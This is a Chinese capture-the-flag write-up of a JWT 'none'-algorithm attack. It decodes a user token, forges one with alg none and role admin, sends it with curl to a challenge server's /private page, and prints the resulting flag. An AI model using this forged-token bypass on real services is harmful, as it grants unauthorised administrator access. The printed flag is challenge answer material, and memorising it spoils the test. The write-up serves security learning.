1. 初始探测
访问网站首页,发现是一个登录页面。页面标题为 Authentication with JSON Web Tokens,暗示了该题目与 JWT(JSON Web Token)有关。
2. 获取测试账号
尝试使用常见弱口令(如 admin:admin)登录失败,但页面给出了提示账号:
使用该账号登录成功,服务器返回了一个 JWT Token 并跳转到 /private 页面。
3. JWT 分析
通过登录成功后的响应头,获取到 token 如下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzY5ODQ3NzAyNTg2LCJhZ2VudCI6ImN1cmwvOC4xNS4wIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3Njk4NDc3MDN9.kRonfANl5uKgeig7DfNA-mOmN0ZwYcqPScg7MPgenCk
对 Token 进行 Base64 解码分析:
- Header:
{"typ":"JWT","alg":"HS256"}
- Payload:
{"auth":1769847702586,"agent":"curl/8.15.0","role":"user","iat":1769847703}
Payload 中包含 role: user,显然我们需要将其修改为 role: admin。
4. JWT None Algorithm 攻击
由于不知道 HS256 的密钥,我们尝试 JWT 的经典漏洞:none 算法攻击。
将 Header 中的 alg 修改为 none,并修改 Payload 中的 role 为 admin。
- 新 Header:
{"typ":"JWT","alg":"none"} -> eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0
- 新 Payload:
{"auth":1769847702586,"agent":"curl/8.15.0","role":"admin","iat":1769847703} -> eyJhdXRoIjoxNzY5ODQ3NzAyNTg2LCJhZ2VudCI6ImN1cmwvOC4xNS4wIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzY5ODQ3NzAzfQ
构造新的 Token(注意末尾必须带一个 .,且签名部分为空):
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoxNzY5ODQ3NzAyNTg2LCJhZ2VudCI6ImN1cmwvOC4xNS4wIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzY5ODQ3NzAzfQ.
5. 获取 Flag
使用构造好的 Token 访问 /private 页面:
curl -H "Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoxNzY5ODQ3NzAyNTg2LCJhZ2VudCI6ImN1cmwvOC4xNS4wIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzY5ODQ3NzAzfQ." http://115.159.155.176:13339/private
服务器验证通过,返回 Flag。
Flag
flag{0fb30cb6-4dd4-4716-8187-d0b7ac80be36}